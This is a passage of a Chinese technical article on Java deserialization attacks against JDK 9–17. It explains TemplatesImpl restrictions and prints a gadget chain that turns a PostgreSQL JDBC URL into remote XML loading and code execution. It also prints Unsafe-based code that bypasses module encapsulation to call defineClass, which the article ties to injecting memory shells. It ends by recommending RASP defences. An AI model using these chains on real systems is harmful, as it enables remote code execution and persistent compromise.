private void  readObject(ObjectInputStream is)  throws IOException, ClassNotFoundException{SecurityManager security = System.getSecurityManager();if (security != null){    String temp = SecuritySupport.getSystemProperty(DESERIALIZE_TRANSLET);    if (temp == null || !(temp.length()==0 || temp.equalsIgnoreCase("true"))) {        ErrorMsg err = new ErrorMsg(ErrorMsg.DESERIALIZE_TRANSLET_ERR);        throw new UnsupportedOperationException(err.toString());    }}

如果目标开启了Security Manager,如果没有设置jdk.xml.enableTemplatesImplDeserialization属性为true,就会抛出异常,随着对安全性的重视越来越多的公司会开启Security Manager,可能他们并不是为了Templatesimpl配置的Security Manager,但是只要打开了就会限制到Templatesimpl。

从JDK9开始,JAVA引入了JPMS模块化系统。在JDK 9至JDK 16中,对java.*依赖包下的非公共字段和方法进行反射调用时,会触发非法反射访问警告。最开始调用时只是抛出一个Warning,但是依然能够执行,然而,从JDK 17开始,Java引入了强封装机制,默认禁止此类反射操作,任何尝试访问java.*非公共字段和方法的代码都将抛出InaccessibleObjectException异常。

com.sun.org.apache.xalan.internal.xsltc.trax是java.xml模块中的一个内部包,但它没有被显式exports给其他模块。所以利用链无法访问到templatesimpl,所以getter的利用链从这个版本开始就不再能够轻松的执行代码了。

目前getter利用链为了解决这个问题,常用的绕过方法主要是通过getter->getConnection->JDBC Attack,至于JDBC Attack每个JDBC Driver具体的攻击原理就不在这里做多介绍。

每个JDBC Driver通常都有自己都getConnection方法,通过getter加载到getConnection然后控制JDBC连接字符串实现攻击。

@Overridepublic Object getObject(String command) throws Exception {    PGSimpleDataSource dataSource = new PGSimpleDataSource();    dataSource.setUrl("jdbc:postgresql://localhost:5432/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://localhost:9999/a.xml");    final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);    queue.add("1");    queue.add("1");    Reflections.setFieldValue(comparator, "property""connection");    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");    queueArray[0] = dataSource;    queueArray[1] = dataSource;    return queue;}
  • defineClass限制

通过漏洞实现代码执行后,通常还会需要DefineClass加载字节码生成类后实例化中内存马等。

同样因为JPMS的原因,导致了高版本JDK无法调用到java.lang.ClassLoader#defineClass方法,这时候需要绕过。

在JDK17中,exports、open了sun.misc,sun.misc.Unsafe移除了defineClass和defineAnonymousClass ,但是保留了getAndSetObject等方法。

module jdk.unsupported {    exports com.sun.nio.file;    exports sun.misc;    exports sun.reflect;    opens sun.misc;    opens sun.reflect;}

如果是通过sun.misc.Unsafe#getUnsafe方法获取unsafe,会判断调用类的classloader是不是system classloader。因为opens sun.misc,所以可以直接通过反射获取私有属性。

private static final Unsafe theUnsafe = new Unsafe();@CallerSensitivepublic static Unsafe getUnsafe() {    Class<?> caller = Reflection.getCallerClass();    if (!VM.isSystemDomainLoader(caller.getClassLoader()))        throw new SecurityException("Unsafe");    return theUnsafe;}
@Override@CallerSensitivepublic void setAccessible(boolean flag) {    AccessibleObject.checkPermission();    if (flag) checkCanSetAccessible(Reflection.getCallerClass());    setAccessible0(flag);}

java.lang.reflect.AccessibleObject#checkCanSetAccessible

private boolean checkCanSetAccessible(Class<?> caller,                                      Class<?> declaringClass,                                      boolean throwExceptionIfDenied) {    if (caller == MethodHandle.class) {        throw new IllegalCallerException();   // should not happen    }    Module callerModule = caller.getModule();    Module declaringModule = declaringClass.getModule();    if (callerModule == declaringModule) return true;    if (callerModule == Object.class.getModule()) return true;    if (!declaringModule.isNamed()) return true;    String pn = declaringClass.getPackageName();    int modifiers;    if (this instanceof Executable) {        modifiers = ((Executable) this).getModifiers();    } else {        modifiers = ((Field) this).getModifiers();    }    // class is public and package is exported to caller    boolean isClassPublic = Modifier.isPublic(declaringClass.getModifiers());    if (isClassPublic && declaringModule.isExported(pn, callerModule)) {        // member is public        if (Modifier.isPublic(modifiers)) {            return true;        }        // member is protected-static        if (Modifier.isProtected(modifiers)            && Modifier.isStatic(modifiers)            && isSubclassOf(caller, declaringClass)) {            return true;        }    }    // package is open to caller    if (declaringModule.isOpen(pn, callerModule)) {        return true;    }    if (throwExceptionIfDenied) {        // not accessible        String msg = "Unable to make ";        if (this instanceof Field)            msg += "field ";        msg += this + " accessible: " + declaringModule + " does not \"";        if (isClassPublic && Modifier.isPublic(modifiers))            msg += "exports";        else            msg += "opens";        msg += " " + pn + "\" to " + callerModule;        InaccessibleObjectException e = new InaccessibleObjectException(msg);        if (printStackTraceWhenAccessFails()) {            e.printStackTrace(System.err);        }        throw e;    }    return false;}

在checkCanSetAccessible方法中,可以发现如果调用者类和目标类是属于同一个module,或者调用者类和Object的module一致就可以访问。通过unsafe修改当前类的module和Object的module一致实现绕过。

unsafe的getAndSetObject 是 Java 中 Unsafe 类提供的一个底层原子操作方法,用于在多线程环境下安全地替换对象字段或数组元素的引用值,这里将module替换为Object module。

import sun.misc.Unsafe;public class Test2 {    public static void main(String[] args) throws Exception {        Class clazz = Class.forName("sun.misc.Unsafe");        java.lang.reflect.Field f = clazz.getDeclaredField("theUnsafe");        f.setAccessible(true);        Unsafe unsafe = (Unsafe)f.get(null);        Module objectModule = Object.class.getModule();        long moduleOffset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));        unsafe.getAndSetObject(Test2.class, moduleOffset, objectModule);        java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.classbyte[].classint.classint.class);        method.setAccessible(true);        System.out.println(method);    }}

成功setAccessible了defineClass。

总结

当前对抗态势中,RASP技术展现出独特的防御价值。通过动态分析应用层的上下文调用链,结合应用行为动作,RASP能够有效阻断未知Gadget的利用尝试。这种基于行为特征的纵深防御体系,为应对持续涌现的新型反序列化攻击提供了更具弹性的解决方案。

参考链接

  1. https://gv7.me/articles/2021/construct-java-detection-class-deserialization-gadget/

  2. https://mogwailabs.de/en/blog/2023/04/look-mama-no-templatesimpl/

  3. https://www.anquanke.com/post/id/234537

  4. https://gv7.me/articles/2021/java-deserialize-data-bypass-waf-by-adding-a-lot-of-dirty-data/

  5. https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html

  6. https://landgrey.me/blog/22/

  7. https://threedr3am.github.io/2021/04/13/JDK8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%86%99%E5%9C%BA%E6%99%AF%E4%B8%8B%E7%9A%84Fastjson%20RCE/


文章来源: https://govuln.com/news/url/PZqq
如有侵权请联系:admin#unsafe.sh